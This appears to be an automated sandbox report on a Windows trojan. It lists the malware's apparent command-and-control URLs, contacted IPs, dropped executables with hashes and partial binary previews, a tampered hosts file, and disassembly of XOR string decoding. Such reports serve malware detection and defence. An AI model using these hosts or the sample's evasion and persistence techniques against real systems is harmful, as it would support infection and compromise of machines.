http://fmslnmq.st/	rmass.exe, 00000001.00000003.3797671853.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796201835.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798782009.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3799886288.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3800646182.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?02DF3A2E6ADF3A2E6AF13A026ADF3A06D2DB160CAEDE3AEEC2DD3E1844ED141758EF0A006A	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124258838.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4121498208.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4124605065.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4149776651.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4118341134.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4116231315.0000000003F2C000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4125454517.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gqvpmamcaek.pw/maioiowqy.pw/	rmass.exe, 00000001.00000003.3503705009.00000000008CC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3502034222.00000000008CC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?0298E088E198E088E1B	rmass.exe, 00000001.00000003.3687384821.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3685693498.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3676532038.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3681976754.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687682263.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687156815.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3689154926.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3678227211.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673203456.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3685914748.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3688850277.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3690209676.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680397277.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?02943B6BF2943B6BF2BA3B47F2943B434A90174936953BAB5A963F5DDCA61552C0A40B45F2	rmass.exe, 00000001.00000003.3117021370.00000000008F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://efwqk.mp/	rmass.exe, 00000001.00000003.2833338190.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://mwwocic.cd/al	rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://coeonpsesopck.mp/d	rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aawwbcseutmfcl.tk/d	rmass.exe, 00000001.00000003.3797671853.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796201835.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798782009.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3799886288.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3800646182.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unmomis.biz/d/N?028E5888638E588863A058A4638E58A0DB8A74AAA78F5848CB8C5CBE4DBC76B151BE68A663	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3281894876.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3281894876.00000000008E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?02CAA30B6CCAA30B6CE4A3276CCAA323D4CE8F29A8CBA3CBC4C8A73D42F88D325EFA932	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wgnuhce.cd/	rmass.exe, 00000001.00000003.4043327522.00000000008DA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043327522.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?025469C1C45469C1C47A69EDC45469E97C5045E3005569016C566DF7EA6647F8F66459E	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?026073BAAC6073BAAC4E7396AC60739214645F986861737A0462778C82525D839E50439	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?02C4C612E9C4C612E9EAC63EE9C4C63A51C0EA302DC5C6D241C6C224C7F6E82BDBF4F63	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://zuucswx.tk/	rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/N?0235032972350329721B030572350301CA312F0BB63403E9DA37071F5C072D104005330	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://utbidet-ugeas.biz/d/rpt?http://%s.biz/d/G?http://%s.biz/d/N?idbg32.exeaset32.exeSOFTWARE	NpHauDPoR8.exe, 00000000.00000002.1704440140.0000000000408000.00000004.00000001.01000000.00000003.sdmp, rmass.exe, 00000001.00000002.4170057329.0000000000407000.00000004.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000004.00000000.1710707736.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000000.1713621825.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.4178678324.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false		high
http://iqyjfsacgai.st/	rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://isfusus-omoab.biz/d/N?029CC459F59CC459F5B2C475F59CC4714D98E87B319DC4995D9EC06FDBAEEA60C7ACF47	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://wcpvv.st/d	rmass.exe, 00000001.00000003.4044818239.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043327522.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anpurih.biz/d/N?02EB7FF3BFEB7FF3BFC57FDFBFEB7FDB07EF53D17BEA7F3317E97BC591D951CA8DDB4FDDBFg	rmass.exe, 00000001.00000003.4159461995.00000000008C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://argunoos.biz/d/N?02CCDC7644CCDC7644E2DC5A44CCDC5EFCC8F05480CDDCB6ECCED8406AFEF24F76FCEC5844	rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qyrcizm.mp/	rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.198.29.97	oqgqwc.vg	Germany	24940	HETZNER-ASDE	false
64.70.19.203	wffcc.ws	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
199.59.243.228	77980.bodis.com	United States	395082	BODIS-NJUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584385
Start date and time:	2025-01-05 10:47:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 32s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	NpHauDPoR8.exe renamed because original name is a hash value
Original Sample Name:	fb2282442b6fbc8f1e2246925f52ab17c32fae910d2ac6d79a1dc705f7e42191.exe
Detection:	MAL
Classification:	mal100.troj.adwa.evad.winEXE@5/6@1713/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 65% Number of executed functions: 30 Number of non-executed functions: 55
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:47:59	API Interceptor	2053x Sleep call for process: explorer.exe modified
04:48:01	API Interceptor	265981x Sleep call for process: rmass.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
88.198.29.97	f3VrANv7Uw.exe	Get hash	malicious	Unknown	Browse
	LtL3hEasij.exe	Get hash	malicious	Unknown	Browse
	5SGOAKv7AR.exe	Get hash	malicious	Unknown	Browse
	YsyrcskNFK.exe	Get hash	malicious	Unknown	Browse
	wEplk8vCmJ.exe	Get hash	malicious	Unknown	Browse
	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse
	p4C7Gm10K3.exe	Get hash	malicious	Unknown	Browse
	KJEfMLiuRS.exe	Get hash	malicious	Unknown	Browse
64.70.19.203	zkGOUJOnmc.elf	Get hash	malicious	Unknown	Browse	blog.abconstructors.ws/wp-login.php
	gUJak0onLk.elf	Get hash	malicious	Unknown	Browse	blog.acashmachine.ws/wp-login.php
	Wk8eTHnajw.elf	Get hash	malicious	Unknown	Browse	blog.accu-personalservice.ws/wp-login.php
	file.exe	Get hash	malicious	RedLine, SmokeLoader	Browse	fedyanin.ws/admin.php
	BbbEtaIxAU.exe	Get hash	malicious	Betabot	Browse	issasname.ws/xyz/abc/order.php?id=5889637
	GxELazkKkG.exe	Get hash	malicious	Unknown	Browse	enahmnhqah.ws/imgs/krewa/nqxa.php?id=f21eztiy&s5=3159&lip=192.168.2.7&win=Unk
	Readme.exe	Get hash	malicious	Unknown	Browse	ersaenrnwh.ws/imgs/krewa/nqxa.php?id=50f5gzcu&s5=3159&lip=192.168.2.5&win=Unk
	EAfIchN1gN.exe	Get hash	malicious	Unknown	Browse	ehmpeseeaa.ws/imgs/krewa/nqxa.php?id=5143sudk&s5=3159&lip=192.168.2.4&win=Unk
	144C0621CA5ECB402DE01D8F10044F92A2EF917522E4B.exe	Get hash	malicious	Unknown	Browse	xircus.ws/kin/logout.php
	Br6Pmt0MiZ.exe	Get hash	malicious	Phorpiex	Browse	thaus.ws/6
199.59.243.228	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.denture-prices.click/dx3i/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
wffcc.ws	Ey6iI0wxsf.exe	Get hash	malicious	Unknown	Browse	64.70.19.203

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	armv7l.elf	Get hash	malicious	Unknown	Browse	206.27.107.6
	2.elf	Get hash	malicious	Unknown	Browse	206.157.187.80
	fuckunix.arm.elf	Get hash	malicious	Mirai	Browse	208.171.28.6
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	208.172.153.60
	Fantazy.ppc.elf	Get hash	malicious	Unknown	Browse	208.166.183.71
	Fantazy.arm4.elf	Get hash	malicious	Unknown	Browse	206.129.67.18
	31.13.224.14-x86-2025-01-03T22_14_18.elf	Get hash	malicious	Mirai	Browse	208.165.140.54
	armv6l.elf	Get hash	malicious	Mirai	Browse	206.156.173.204
	armv5l.elf	Get hash	malicious	Mirai	Browse	207.51.41.93
	armv7l.elf	Get hash	malicious	Mirai	Browse	206.96.206.76
HETZNER-ASDE	armv6l.elf	Get hash	malicious	Mirai	Browse	85.10.220.49
	1.elf	Get hash	malicious	Unknown	Browse	138.201.212.111
	RisingStrip.exe	Get hash	malicious	Vidar	Browse	116.203.13.109
	ebjtOH70jl.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	135.181.65.216
	2Mi3lKoJfj.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	3.elf	Get hash	malicious	Unknown	Browse	195.201.78.91
	2.elf	Get hash	malicious	Unknown	Browse	212.127.42.203
	https://klickskydd.skolverket.org/?url=https%3A%2F%2Fwww.gazeta.ru%2Fpolitics%2Fnews%2F2024%2F12%2F22%2F24684722.shtml&id=71de&rcpt=upplysningstjansten@skolverket.se&tss=1735469857&msgid=b53e7603-c5d3-11ef-8a2e-0050569b0508&html=1&h=ded85c63	Get hash	malicious	HTMLPhisher	Browse	138.201.139.144
	https://www.gazeta.ru/politics/news/2024/12/22/24684722.shtml	Get hash	malicious	HTMLPhisher	Browse	138.201.139.144
	https://www.gazeta.ru/politics/news/2024/12/22/24684854.shtml	Get hash	malicious	HTMLPhisher	Browse	138.201.139.144
BODIS-NJUS	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	199.59.243.228
	Pralevia Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	199.59.243.228
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	199.59.243.228
	ipmsg5.6.18_installer.exe	Get hash	malicious	Unknown	Browse	199.59.243.227
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	199.59.243.227
	Delivery form - Airway bill details - Tracking info 45821631127I ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	199.59.243.227
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	rQuotation.exe	Get hash	malicious	FormBook	Browse	199.59.243.227
	https://tfsroanoke.com/home/tfs/public_html/new/ckfinder/userfiles/files/12719803849.pdf	Get hash	malicious	PDFPhish	Browse	199.59.243.205
	Tbconsulting Company Guidelines Employee Handbook.docx	Get hash	malicious	Unknown	Browse	199.59.243.227

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	data
Category:	dropped
Size (bytes):	48655
Entropy (8bit):	6.232792343273585
Encrypted:	false
SSDEEP:	768:FHpeAgh7Gl4E4DYxzA/xcMMpwO3cGeGffz7TnbLHPX3jUI9jTvfrD7/HzLP3b/XN:lp1g7GSQ8/xcMXOEG7GHpO3
MD5:	D55520186DE18557A0147FCDBAB4200E
SHA1:	F567A14FC7B70E9CDB43FDE0E1CD83F494726EC1
SHA-256:	058AA5DCAB5E54835E2F25E986D8F9C058EC3C8DA86CA3DC44373755A94A1D4F
SHA-512:	9186A9DA8E2D2B58969CCDC7B2C0172E0F4B404E68FD01019B48D8A163AE4DED5A5E97294E4A228522FA6CF95B661E85343D1AC6ED68ABD7112F192B3E156F6E
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	..`.............H..........................................p.....J..D.=.H.=................................................q.1.................................................................................................................. ............................................................................................................................. ....................................p...........................0............@.......f............................0......................p..0............ .......h................0........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\RECOVER32.DLL

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5120
Entropy (8bit):	3.2784028952581123
Encrypted:	false
SSDEEP:	48:6CsrGV5e2/WJbm73k2vZcrVGLPk2zuQUX2cxc2G5ZwJOFl:SqV5Roa73kQGinisAD
MD5:	12FF80C93916EC18553163D151A58A22
SHA1:	42B06ECC5E03B767770F3ED0A12953326D0EEDE3
SHA-256:	144C5D2D4D938AD383D96C96163254B5E757DDB049D30445776F4077580668DE
SHA-512:	50C29B2D567C75AA9B1BB2D4966D630A9747CDC50FC0843492A242068D67DC1C4FE418ACCB3ACF6CE17E4831358D9ACDAB070AA81F673BE086C589DB6E5B7F67
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 48%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......D...........#...8..................... ...............................`......#......... ......................0..+....@...............................P..D....................................................................................text............................... ..`.data...`.... ......................@....edata..+....0......................@..@.idata.......@......................@....reloc..D....P......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\ahuy.exe

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	50803
Entropy (8bit):	6.275218158275273
Encrypted:	false
SSDEEP:	768:jIUG+6jiqcZanOpzGs1dBdl2nphAv2AiKI/qKukQ2/rIvQuVKD22:jwviqzHs1dBdl2npQ2Ak/Q2/rIvzOB
MD5:	78C3A1FE2ABA82EAA05E3F9726F9866B
SHA1:	F18A79BF50D44D54A5947287E421BCC58D12DF9A
SHA-256:	D6ABF047D1920D0D3E7AD898AC7A14216D8776D0C6BB81655E22EED87DF030F9
SHA-512:	7622720F9D4C6DFEF54815C82F0E69D2E59EC955841C95B496D4DE34A12DAA66D63764C030D9685F396606BD49509AD77436644CDE04019FBAC70ABD119D3632
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...I.D...............8............&.............@..........................0............... .............................. .......................................................................................................................text............................... ..`.idata....... ......................@.......................................................................................U...@.WVS..t....L$d..&.@.s....B4..A......t$dVj.j......h......$h...Sj.....j.j.j.j.j.h....S..........u........l...j.j.j.P....j..l$.UjdVS....S.....T$e..$....9.s...D$d0.B..T$..D$X9.s....B...D$.P.D$.Pj.j.j.j.j.j.j...$....P.u...........j.j.j.j.j.h......$\|...P........................j......j.+D$mPS.....j.U.t$m.t$qj..(...P.2...P..S.....S..........D$e9.s...D$d0...B.D$e9...h.....\|$mW.....W.....j.h....j.j.j.h...@W.x.......t7...t2j.U.t$mVP.....S.....

C:\Windows\SysWOW64\ntdbg.exe

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	51827
Entropy (8bit):	6.285592218283969
Encrypted:	false
SSDEEP:	768:Erzfe4ewyX6RNHHVo0nDiZnLGcx8rFKiib8v6WnZYJVK:EHh7ueHVJcycx89gMfAA
MD5:	9AEF6994FAAFBB109BF68B622DF588D4
SHA1:	174F5B929899FBFB49B2AE86FFA868DCC17C049F
SHA-256:	6EFCB8F99A39031061AB55327544ECF06AD009E1D5F0ECDE3737B1353FF64111
SHA-512:	DFE6FA2E110204EE9351B468279307DBC320AB695FE3DAB6D8F2D971F35E2904113314BB81D0A715E3275B2A3A8428ACB984A0E291DD1EB8CBE50EC668346D1C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...K.D...............8............&.............@..........................0......5q........ .............................. .......................................................................................................................text...0........................... ..`.idata....... ......................@.....................................................................................UWVS.........@..D$......t$..8.<$Vj@.l$.U.\$.Sj.......3.H.f.G...V.t$.USj......t$..t$.j.......$.......@...&.@.s....B4..A.......$....Pj.j..*....5...f.8"..u.......f..t.f.."u....f..t....f.. u.\$.S......D$.PSj.j.j.j.j.j.Vj......h......$....Sj......j.j.j.j.j.h....S........................j.j.j.P.....j.Ujd..$....PS.....S.......$......$....9.s....$....0.B..\$lS......D$.PSj.j.j.j.j.j.j...$....P.............j.j.j.j.j.h......$....P.X...................

C:\Windows\SysWOW64\rmass.exe

Download File

Process:	C:\Users\user\Desktop\NpHauDPoR8.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	48655
Entropy (8bit):	6.232792343273586
Encrypted:	false
SSDEEP:	768:WAUJmQCcmLCXQq6fsKiJYsIkjJVzqsVNkuGVAQvKMb7rQhk:RUNHFKQbIkHvQAFu7shk
MD5:	6327443864311678C76C9738D91D6EF9
SHA1:	78E345561ADBF87D6C721FAB6FBED0079FAFEEE3
SHA-256:	FB2282442B6FBC8F1E2246925F52AB17C32FAE910D2AC6D79A1DC705F7E42191
SHA-512:	ED26A6822AD3922CA3FE952FD7BF2991DA82549D1206F34836EFE485190D6DE80600004CC8524C1978AEAF31E87C0DED3B32523508DAD7A48A4AC418AD184DB7
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.D...............8.R...L......J5.......p....@........................................... .................................x....................................................................................................................text....Q.......R.................. ..`.data....?...p...@...V..............@....rdata..p...........................@..@.bss.....................................idata..x...........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Windows\SysWOW64\rmass.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	893
Entropy (8bit):	4.7323750711617905
Encrypted:	false
SSDEEP:	24:dU9Zk3DZh+ragzMZfuMMs1L/JU5fFCkK8T1rTt8:dU9Zk3DZhyoZWM9rU5fFcp
MD5:	08A76A8D95E6E0FC4F0969CFCDC6DED6
SHA1:	C2543A3B13E31159942B338725D8C2C73CA35CE9
SHA-256:	B870D36A0E5D5BE6789FF4841B867753F20FEAFB547B851E3457D8E822B7B42E
SHA-512:	E0DECDCFBE3708F76FD1722D4817D75F3D0F702283E4A34FC4FDFE80F4AF6CAF1A753839892676CEFD82A8C1215BAC8A4F2EA2D2CB156C81BDEB1F46BECF7B46
Malicious:	true
Reputation:	low
Preview:	127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.com..# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.232792343273586
TrID:	Win32 Executable (generic) a (10002005/4) 99.94% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% VXD Driver (31/22) 0.00%
File name:	NpHauDPoR8.exe
File size:	48'655 bytes
MD5:	6327443864311678c76c9738d91d6ef9
SHA1:	78e345561adbf87d6c721fab6fbed0079fafeee3
SHA256:	fb2282442b6fbc8f1e2246925f52ab17c32fae910d2ac6d79a1dc705f7e42191
SHA512:	ed26a6822ad3922ca3fe952fd7bf2991da82549d1206f34836efe485190d6de80600004cc8524c1978aeaf31e87c0ded3b32523508dad7a48a4ac418ad184db7
SSDEEP:	768:WAUJmQCcmLCXQq6fsKiJYsIkjJVzqsVNkuGVAQvKMb7rQhk:RUNHFKQbIkHvQAFu7shk
TLSH:	3B233A8BB84750F0D63421F1119A577AAE3ABF37A0E535B673614F05EA431227F0C5BA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....(.D...............8.R...L......J5.......p....@........................................... ............................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x40354a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x44C12881 [Fri Jul 21 19:18:25 2006 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	71f9ef8b6c0243063fb9c2742a6fd991

Entrypoint Preview

Instruction
push ebp
mov eax, 00001674h
push edi
push esi
push ebx
call 00007FBBF0B656DDh
mov dword ptr [esp+28h], 00000000h
mov dword ptr [esp+24h], 00000000h
mov dword ptr [esp+20h], 00000000h
mov dword ptr [esp+0Ch], 00000000h
call 00007FBBF0B65A28h
push 0040C0C0h
mov dword ptr [0040C260h], eax
mov dword ptr [0040C0C0h], 00000094h
call 00007FBBF0B65A1Fh
mov eax, 0040AA73h
cmp eax, 0040AA79h
jnc 00007FBBF0B63098h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007FBBF0B63085h
mov eax, 0040AA66h
cmp eax, 0040AA72h
jnc 00007FBBF0B63098h
xor byte ptr [eax], FFFFFFD4h
inc eax
jmp 00007FBBF0B63085h
push 0040AA66h
call 00007FBBF0B65991h
cmp dword ptr [0040C0D0h], 02h
mov ebx, eax
je 00007FBBF0B630B9h
mov eax, 0040AA4Fh
cmp eax, 0040AA65h
